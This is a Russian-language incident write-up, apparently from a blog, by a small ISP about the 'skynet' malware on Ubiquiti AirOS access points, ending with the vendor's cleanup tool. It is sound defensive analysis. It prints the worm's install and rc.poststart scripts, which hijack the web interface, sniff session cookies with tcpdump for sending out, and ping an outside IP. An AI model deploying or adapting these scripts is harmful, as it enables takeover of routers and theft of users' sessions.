Pull to refresh

Skynet vs ubnt

Я, небольшой провайдер. Держу при себе примерно 500 точек nanostation locoM5 и пару десятков rocketM5.
13 сентября (256-й день) 2012 года — возникла глобальная проблема в моей сети wifi.
В определенный момент точки доступа просто выключались, а в логах промелькивал /etc/rc.d/rc stop
Стало интересно, кто же запустил эту команду, ведь пароли очень не простые, примерно такого содержания .
Было предпринято решение обновить прошивку на самую свежую. Скачав с сайта ubnt.com последний релиз прошивки и успешно ее залив на девайс rocketM5 пеерстал работать lighthttpd сервер. Старнно было такое наблюдать, но он выругивался на файл с настройками lighthttpd.conf

Прочитав содержимое файла нашел некие строчки с пугающей надписью skynet:
XM.v5.2.1# cat /etc/lighttpd.conf 
server.document-root = "/etc/persistent/.skynet"
include "/usr/etc/lighttpd/modules.conf"
include "/usr/etc/lighttpd/mimetypes.conf"
include "/usr/etc/lighttpd/lighttpd.conf"
airos.session-timeout = 900
server.port = 80

Вирус подменил каталог документов на http, а именно построил свой интерфейс усправления.
вот так выглядит эксплоит:
image
В нем возможны любые изменения, в том числе загрузка\выгрузка документов.
Ищем дальше…
Переходим в каталог /etc/persistent/.skynet
Находим большой список файлов, и наш подменянный admin.cgi

XM.v5.2.1# ls
100913.1802            dhcpc.cgi              ipscan.cgi             poll.cgi               slider-min.js.gz       style.css.gz
English.txt            dhcpc.js               jquery-ui.css          port_forward.cgi       slink.js               support.cgi
adm.cgi                dhcpc.js.gz            jquery-ui.css.gz       post                   slink.js.gz            survey.cgi
admin.cgi              dhcpcinfo.cgi          js                     post_file              sorttable.js           survey.css
admin2.cgi             discard.cgi            jsl10n.cgi             post_file_rep          sorttable.js.gz        survey.json.cgi
admina.cgi             favicon.ico            jsval.js               post_rep               speedtest.css          system.cgi
advanced.cgi           firewall.cgi           jsval.js.gz            post_rep2              sptest.cgi             system.js
airmax.cgi             fw.cgi                 language.cgi           pppinfo.cgi            sptest.js              system.js.gz
airview.cgi            fwflash.cgi            leases.cgi             progress.js            sptest.js.gz           test.cgi
airview.jar.pack.gz    get                    lib                    progress.js.gz         sptest_action.cgi      testdone.cgi
airview.jnlp           get_rep                link.cgi               pstt                   sroutes.cgi            throughput.cgi
ajax.js                get_rep2               log.cgi                reboot.cgi             sshd-authkeys.cgi      throughput.js
ajax.js.gz             head                   login.cgi              reset.cgi              sta.cgi                throughput.js.gz
apply.cgi              help                   login.css              routes.cgi             stainfo.cgi            ticket.cgi
arp.cgi                help.css               logo.cgi               scan                   stainfo.js             tool.cgi
blank.html             help.js                logout.cgi             scan_channels.cgi      stainfo.js.gz          traceroute.cgi
bluecurve.css          help.js.gz             network.cgi            send                   stakick.cgi            traceroute.css
boxsizing.htc          images                 network.js             sendcook               stalist.cgi            traceroute.js
brmacs.cgi             index.cgi              network.js.gz          services.cgi           stalist.js             traceroute.js.gz
cfg.cgi                index.html             pfw.cgi                signal.cgi             stalist.js.gz          traceroute_action.cgi
config.cgi             index.js               pingtest.cgi           signal.js              status-403.html        tt
cookies                index.js.gz            pingtest.css           signal.js.gz           status-404.html        tt2
deployJava.js          info.cgi               pingtest.js            signal_gui.cgi         status-500.html        upgrade.cgi
deployJava.js.gz       install                pingtest.js.gz         skynet.tgz             status.cgi             util.js
deployJava.txt         ipalias.cgi            pingtest_action.cgi    slider-min.js          style.css              util.js.gz

Из этого списка нас интересуют:
get get_rep get_rep2 head install post post_file post_file_rep post_rep post_rep2 scan send sendcook skynet.tgz
Оказывается поставить вирус под Linux UBNT-C26 2.6.15-5.2 можно только через install, жаль не нашел readme
XM.v5.2.1# cat install 
cd /etc/persistent/.skynet
mv /etc/persistent/skynet.tgz .
mv rc.poststart /etc/persistent
ln -s /usr/www/* ./
mv admin.cgi admin2.cgi
mv admina.cgi admina2.cgi
echo "404 Not found" > admin.cgi
echo "404 Not found" > adm.cgi
echo "404 Not found" > admina.cgi
cfgmtd -w -p /etc/
reboot

Собственно видим редактирование файлов adm*, получая 404.
Едем дальше у вкусному, файл rc.poststart

#!/bin/sh
sed -i 's/\/usr\/www/\/etc\/persistent\/.skynet/g' /etc/lighttpd.conf
kill -9 `ps | grep "lighttpd -D" | cut -d" " -f 3`
ip=`ifconfig ath0 | grep inet | sed "s/.*inet addr:\([^ ]*\).*/\1/g"`

#sleep 60 && trigger_url http://178.216.144.75/probe.cgi/.gif?ip=$ip &

if [ -e /bin/tcpdump ]; then
tcpdump -A -s 0 -w - -l "tcp dst port 80" | grep "^Cookie: " | grep "xs=" >/etc/persistent/.skynet/tt &
/etc/persistent/.skynet/sendcook &
fi
(sleep 20 ; /etc/persistent/.skynet/scan) &
(sleep 100400 ; sleep 42 ; halt) &



В остальных скриптах идет отправка данных, ничего интересного.
Лечится все довольно просто, ubnt выпустила java утилиту, найти ее можно на форуме ubnt.
Утилита имеет 3 режима: поиск\поиск+лечение\поиск+лечение+прошивка (надеюсь стабильная)
Просканировав всю сеть — обнаружил 70% объектов.
Мои пользователи не пострадали, ведь отправить данные skynet не смог, не было ppp0 соединнеия на железках.
Спасибо за уделеное мне время.
Tags:
Hubs:
You can’t comment this publication because its author is not yet a full member of the community. You will be able to contact the author only after he or she has been invited by someone in the community. Until then, author’s username will be hidden by an alias.